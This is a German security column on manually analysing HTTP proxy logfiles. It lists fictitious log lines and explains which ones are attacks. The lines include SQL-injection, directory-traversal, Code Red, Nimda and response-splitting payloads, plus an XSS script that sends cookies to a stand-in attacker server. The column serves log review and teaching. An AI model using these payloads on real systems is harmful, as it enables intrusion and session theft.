Montag, 1. März 2010


Topthema

Donnerstag, 19. Januar 2006 | Topthema

About Security #40: HTTP-Proxy-Logfiles manuell auswerten, 1

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/026379)

Nach der manuellen Auswertung der Paketfilter-Logfiles (siehe About Security #39) geht es nun um die Auswertung der HTTP-Proxy-Logfiles. Der Umfang der Protokollierung durch den HTTP-Proxy wurde in About Security #37 beschrieben. Die Einträge in das Logfile könnten dann zum Beispiel nach dem folgenden Muster aufgebaut werden:

Datum Zeit Senderadresse Zieladresse
Authentifizierungsdaten Methode URL Übertragene Bytes
Statusmeldungen Regel / Filter ggf. Aktion

N E U ! Security aktuell
Täglich aktuelle Security-Infos!

Zur besseren Lesbarkeit wurde die Zeile, so wie zum Teil auch die weiteren Beispiele, auf mehrere Zeilen verteilt. Im Logfile werden die Daten in der Regel jeweils in einer Zeile ausgegeben. Eine nicht umbrochene Version der folgenden beiden Beispiele gibt es hier.

Eine mögliche Zeile des Logfiles wäre zum Beispiel

Datum Zeit Senderadresse Zieladresse
Jan 3 02:56:12 a.b.c.d Webserver
Authentifizierungsdaten Methode URL Übertragene Bytes
Benutzer / Passwort GET /index.html 1234
Statusmeldungen Regel / Filter ggf. Aktion
200 (OK) 4 permit

Zuerst soll nur der URL betrachtet werden. Das fiktive Logfile enthält die folgenden URL-Einträge:


1 /index.html
2 /Pfad/zur/Webanwendung1/login.php?user=foo&pass=bar
&sprache=deutsch
3 /Pfad/zur/Webanwendung2/index.cgi?aktion=login&user=Bla
&pass='%20OR%201%3D1%20--
4 /Pfad/zur/Webanwendung1/index.php?sprache=../../../.htpasswd
5 /Pfad/zur/Webanwendung3/aktion.cgi?aktion=XXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
6 /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u53
1b%u53ff%u0078%u0000%u00=a
7 /Pfad/zur/Webanwendung3/aktion.cgi?aktion=anzeigen&id=
%3Cscript%3Edocument%2Elocation%3D%2Chttp%3A%2F%2Fwww%2E
boeser%2Dserver%2Eexample%2Fcgi%2Dbin%2Fcookieklau%2Ecgi
%3F%2C%20%2Bdocument%2Ecookie%3C%2Fscript%3E
8 /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
9 /test/index.html
10 /test/Pfad/zur/Webanwendung1/index.php
11 /redir_lang.jsp?lang=englisch
12 /redir_lang.jsp?lang=sinnlos%0d%0aContent-Length:%200%0d%0a
%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html
%0d%0aContentLength:%2023%0d%0a%0d%0a<html>Geschaf
ft!</html>
Was bedeuten diese Einträge?

Zeile 1 stellt einen normalen Aufruf der Startseite /index.html dar.

In Zeile 2 meldet sich der Benutzer foo mit seinem Passwort bar bei der Webanwendung Webanwendung1 an. Er hat als Sprache deutsch gewählt. Auch dieser Eintrag ist eine normale Aktion.

In Zeile 3 versucht ein Angreifer, eine SQL-Injection-Schwachstelle in der Webanwendung Webanwendung2 auszunutzen, um die Authentifizierung zu umgehen. Das übergebene URL-kodierte Passwort

 '%20OR%201%3D1%20--

entspricht dekodiert

 ' OR 1=1 --

und soll dazu führen, dass eine SQL-Abfrage mit dem Passwort TRUE liefert (siehe About Security #11).

About Security: Die komplette Serie

In Zeile 4 versucht ein Angreifer, über eine Directory-Traversal-Schwachstelle die Datei .htpasswd einzubinden und dadurch anzeigen zu lassen (siehe About Security #16).

In Zeile 5 wird eine sehr lange Zeichenkette für den Parameter aktion der Webanwendung Webanwendung3 übergeben, um einen Pufferüberlauf auszulösen (siehe About Security #6).

Zeile 6 zeigt einen Angriff des Wurms Code Red, siehe About Security #27.

In Zeile 7 findet ein Cross-Site-Scripting-Angriff statt. Der für den Parameter id übergebene URL-kodierte Wert

 %3Cscript%3Edocument%2Elocation%3D%2Chttp%3A%2F%2Fwww%2Eboeser%2Dse
rver%2Eexample%2Fcgi%2Dbin%2Fcookieklau%2Ecgi%3F%2C%20%2Bdocument
%2Ecookie%3C%2Fscript%3E

entspricht dekodiert

 <script>document.location='http://www.boeser-server.example/cgi-bin/
cookieklau.cgi?'%20+document.cookie</script>

und sendet den Cookie des betroffenen Benutzers an den Server des Angreifers (boeser-server.example) (About Security #14). Die Anfrage stammt von einem Benutzer, dem der manipulierte Link untergeschoben wurde.

In Zeile 8 findet ein Angriff durch den Nimda-Wurm statt, siehe About Security #27.

In Zeile 9 und 10 wird eine Testversion der Startseite beziehungsweise der Webanwendung1 aufgerufen. Ob dies zulässige Aktionen oder Angriffsversuche sind (siehe About Security #27), ist aus diesem Logfile nicht ersichtlich.

Zeile 11 zeigt den normalen Aufruf eines Redirection-Skripts, um als Sprache Englisch zu wählen. In Zeile 12 wird dasselbe Skript für einen HTTP-Response-Splitting-Angriff (About Security #21) genutzt.

(Erfolgreicher) Angriff oder nicht?

Ob es sich um einen Angriff handelt oder nicht und ob ein eventueller Angriff erfolgreich war, lässt sich allein aus dem URL nicht erkennen. Dafür sind weitere Informationen erforderlich, die in der nächsten Folge behandelt werden.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Logfiles"

Kommentare